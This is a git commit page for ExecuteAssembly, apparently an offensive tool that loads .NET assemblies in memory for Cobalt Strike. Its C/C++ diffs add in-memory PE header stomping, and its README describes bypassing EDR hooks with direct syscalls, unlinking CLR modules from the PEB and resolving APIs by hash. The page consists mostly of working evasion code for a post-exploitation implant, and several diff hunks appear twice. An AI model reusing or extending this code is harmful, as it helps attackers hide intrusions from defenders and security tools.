PE header stomping (stomping 'e_lfanew/PE/Rich Text' in addition to MZ and DOS) + Multiple bugs fixed + updates to make the it compatible with common CS malleable profile options + cleanup

This commit is contained in:
med0x2e
2020-12-28 14:41:33 +04:00
parent baae02c5a7
commit 4a7bb8216d
12 changed files with 118 additions and 22 deletions
Vendored
BIN
View File
Binary file not shown.
@@ -169,7 +169,11 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
data = data + _lenbinLength + 1;
LPSTR currentArg;
LPSTR nextArg;
currentArg = strtok_s(data, " ", &nextArg);
//currentArg = strtok_s(data, " ", &nextArg);
LPSTR _del = " ";
nextArg = (LPSTR)malloc(_binLength);
currentArg = _strtok(data, _del, nextArg, _binLength);
free(nextArg);
LPSTR b64Assembly = trim(currentArg);
//retrieving arguments
@@ -213,6 +217,7 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
free(assemblyBytes);
free(_decompressedData);
delete[] lpReservedW;
free(currentArg);
}
else {
@@ -181,4 +181,34 @@ void removeChar(LPSTR str, uint8_t toRemove) {
if (*dst != toRemove) dst++;
}
*dst = '\0';
}
LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen)
{
static LPSTR sTok = (char*)malloc(dLen);
register LPSTR cpy = (char*)pNext;
memset(sTok, 0, sizeof(sTok));
if (data != NULL)
strcpy(cpy, data);
if (cpy == NULL)
return NULL;
int i = 0;
for (i = 0; i < dLen; i++)
{
if (cpy[i] == delim[0]) break;
if (cpy[i] == delim[1])
{
cpy = NULL;
break;
}
sTok[i] = cpy[i];
}
if (cpy != NULL) strcpy(cpy, &cpy[i + 1]);
return sTok;
}
@@ -16,5 +16,6 @@ extern LPSTR xorDecrypt(LPSTR data, uint8_t key, size_t _binLength);
extern LPSTR trim(LPSTR str);
extern LPSTR strmbtok(LPSTR input, LPSTR delimit, LPSTR openblock, LPSTR closeblock);
extern void removeChar(LPSTR str, const uint8_t toRemove);
extern LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen);
#endif
@@ -133,7 +133,7 @@ namespace PEModuleHelper {
void StompPEHeaders(HANDLE hProcess) {
//PE DOS HEADER SIG
//PE DOS HEADER
LPCSTR _pattern = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65";
printf("[+]: Obtaining a handle of the current process: %d\n", (INT_PTR)hProcess);
@@ -163,7 +163,6 @@ namespace PEModuleHelper {
void StompPEDOSHeader(LPSTR ntheaderAddr)
{
LPSTR olNtH = ntheaderAddr;
LPVOID nthAddr = (LPVOID)ntheaderAddr;
NTSTATUS status;
SIZE_T page = 4096;
@@ -177,17 +176,22 @@ namespace PEModuleHelper {
return;
}
//zeroing out 224 bytes of the PE DOS Header leads to crashing the loaded .net assembly, I'm only patching specific PE DOS HEADER signatured offsets and byte sequences as a workaround.
SIZE_T Size = 2;
status = NtProtectVirtualMemory(NtGetCurrentProcess(), &nthAddr, &page, PAGE_READWRITE, &Protect);
if (!NT_SUCCESS(status)) {
//printf("\t\t[!]: Error NtProtectVirtualMemory\n");
return;
}
RtlZeroMemory((PVOID)olNtH, Size);
RtlZeroMemory((PVOID)(olNtH + Size + 75), Size + 37);
//MZ
RtlZeroMemory((PVOID)ntheaderAddr, 2);
//e_lfanew
RtlZeroMemory((PVOID)(ntheaderAddr+60), 4);
//DOS
RtlZeroMemory((PVOID)(ntheaderAddr+64), 66);
//Rich
RtlZeroMemory((PVOID)(ntheaderAddr + 256), 4);
//PE
RtlZeroMemory((PVOID)(ntheaderAddr + 288), 2);
status = NtProtectVirtualMemory(NtGetCurrentProcess(), &nthAddr, &page, Protect, &Protect);
if (!NT_SUCCESS(status)) {
@@ -25,7 +25,7 @@ void Check(PBYTE base, AIterator buf_start, AIterator buf_end, BIterator pat_sta
LPSTR* FindPattern(HANDLE hProcess, LPCSTR pattern, size_t* _len) {
MEMORY_BASIC_INFORMATION memInfo;
ULONG returnedBytes = NULL;
SIZE_T returnedBytes = NULL;
*(_len) = 0;
@@ -50,8 +50,8 @@ EXTERN_C NTSTATUS NtQueryVirtualMemory(
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN ULONG_PTR MemoryInformationLength,
OUT PULONG ReturnLength OPTIONAL);
IN SIZE_T MemoryInformationLength,
OUT PSIZE_T ReturnLength OPTIONAL);
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
@@ -169,7 +169,11 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
data = data + _lenbinLength + 1;
LPSTR currentArg;
LPSTR nextArg;
currentArg = strtok_s(data, " ", &nextArg);
//currentArg = strtok_s(data, " ", &nextArg);
LPSTR _del = " ";
nextArg = (LPSTR)malloc(_binLength);
currentArg = _strtok(data, _del, nextArg, _binLength);
free(nextArg);
LPSTR b64Assembly = trim(currentArg);
//retrieving arguments
@@ -213,6 +217,7 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
free(assemblyBytes);
free(_decompressedData);
delete[] lpReservedW;
free(currentArg);
}
else {
@@ -181,4 +181,34 @@ void removeChar(LPSTR str, uint8_t toRemove) {
if (*dst != toRemove) dst++;
}
*dst = '\0';
}
LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen)
{
static LPSTR sTok = (char*)malloc(dLen);
register LPSTR cpy = (char*)pNext;
memset(sTok, 0, sizeof(sTok));
if (data != NULL)
strcpy(cpy, data);
if (cpy == NULL)
return NULL;
int i = 0;
for (i = 0; i < dLen; i++)
{
if (cpy[i] == delim[0]) break;
if (cpy[i] == delim[1])
{
cpy = NULL;
break;
}
sTok[i] = cpy[i];
}
if (cpy != NULL) strcpy(cpy, &cpy[i + 1]);
return sTok;
}
@@ -16,5 +16,6 @@ extern LPSTR xorDecrypt(LPSTR data, uint8_t key, size_t _binLength);
extern LPSTR trim(LPSTR str);
extern LPSTR strmbtok(LPSTR input, LPSTR delimit, LPSTR openblock, LPSTR closeblock);
extern void removeChar(LPSTR str, const uint8_t toRemove);
extern LPSTR _strtok(LPSTR data, const LPSTR delim, LPSTR pNext, size_t dLen);
#endif
@@ -132,7 +132,7 @@ namespace PEModuleHelper {
void StompPEHeaders(HANDLE hProcess) {
//PE DOS HEADER SIG
//PE DOS HEADER
LPCSTR _pattern = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65";
printf("[+]: Obtaining a handle of the current process: %d\n", (INT_PTR)hProcess);
@@ -162,10 +162,11 @@ namespace PEModuleHelper {
void StompPEDOSHeader(LPSTR ntheaderAddr)
{
_PFNVirtualProtect VirtualProtect;
_PFNWriteProcessMemory WriteProcessMemory;
ADDR kernel32_base = findModuleBase(_kernel32dll);
VirtualProtect = (_PFNVirtualProtect)findExportAddr(kernel32_base, _VirtualProtect);
WriteProcessMemory = (_PFNWriteProcessMemory)findExportAddr(kernel32_base, _WriteProcessMemory);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)ntheaderAddr;
@@ -175,13 +176,27 @@ namespace PEModuleHelper {
return;
}
DWORD page = 4096;
DWORD Protect;
//zeroing out 224 bytes of the PE DOS Header leads to crashing the loaded .net assembly, I'm only patching specific PE DOS HEADER offsets/signatured byte sequences as a workaround.
SIZE_T Size = 2;
VirtualProtect((PVOID)ntheaderAddr, Size, PAGE_READWRITE, &Protect);
RtlZeroMemory((PVOID)ntheaderAddr, Size);
RtlZeroMemory((PVOID)(ntheaderAddr + Size + 75), Size + 37);
VirtualProtect((PVOID)ntheaderAddr, Size, Protect, &Protect);
VirtualProtect((PVOID)ntheaderAddr, page, PAGE_READWRITE, &Protect);
char* _randomA = "Random String Here All the time.Random String Here All the time.00";
char* _randomB = "00";
char* _randomC = "Poor";
//RtlZeroMemory,memset crashes the binary, only WPM seem to be working for now.
//MZ
WriteProcessMemory(GetCurrentProcess(), ntheaderAddr, _randomB, 2, NULL);
//e_lfanew
//WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr+60), _randomC, 4, NULL); patching e_lfanew crashes the .net assembly
//DOS
WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr + 64), _randomA, 66, NULL);
//Rich
WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr + 256), _randomC, 4, NULL);
//PE
WriteProcessMemory(GetCurrentProcess(), (ntheaderAddr + 288), _randomB, 2, NULL);
VirtualProtect((PVOID)ntheaderAddr, page, Protect, &Protect);
+7 -2
View File
@@ -3,7 +3,7 @@ ExecuteAssembly is an alternative of CS execute-assembly, built with C/C++ and i
## TLDR (Features):
- CLR related modules unlinking from PEB data structures. (use MS "ListDLLs" utility instead of PH for confirmation)
- .NET Aseembly and Reflective DLL PE DOS headers stomping (specific bytes/offsets).
- .NET Aseembly and Reflective DLL headers stomping (MZ bytes, e_lfanew, DOS Header, Rich Text, PE Header).
- Use of static hardcoded syscalls for bypassing EDR Hooks. (x64 support only for now, from WinXP to Win10 19042)
- CLR "AppDomain/AppDomainManager" enumeration and re-use (ICLRMetaHost->EnumerateLoadedRuntimes), just set the spawnto/host process to a known Windows .NET process.
- Dynamic Resolution of WIN32 APIs (PEB) using APIs corresponding hash (SuperFastHash)
@@ -70,8 +70,13 @@ Was created and tested mainly on cobalt strike, however it can be used with othe
* `B64_ENCODED_COMPRESSED_PAYLOAD`: Gzip compressed and base64 encoded .NET assembly.
* `[SPACE SEPARATED ARGUMENTS]`: .NET assembly arguments
## Testing Notes:
* Tested with cobalt strike 4.x using no malleable profiles.
* Tested with cobalt strike 4.x using the following malleable profile(multiple memory evasion options set (userwx, startrwx ..etc));
* https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.0.profile
## TODO:
- Testing via malleable profiles with different options set. (userwx, startrwx ..etc.)
- An alternative of RFLL, BOF + Named Pipes may be (not sure about long-duration running tasks)
- x86 support for static syscalls.
- Bug fixing and cleanup of any dangling pointers or mem-leaks i missed :p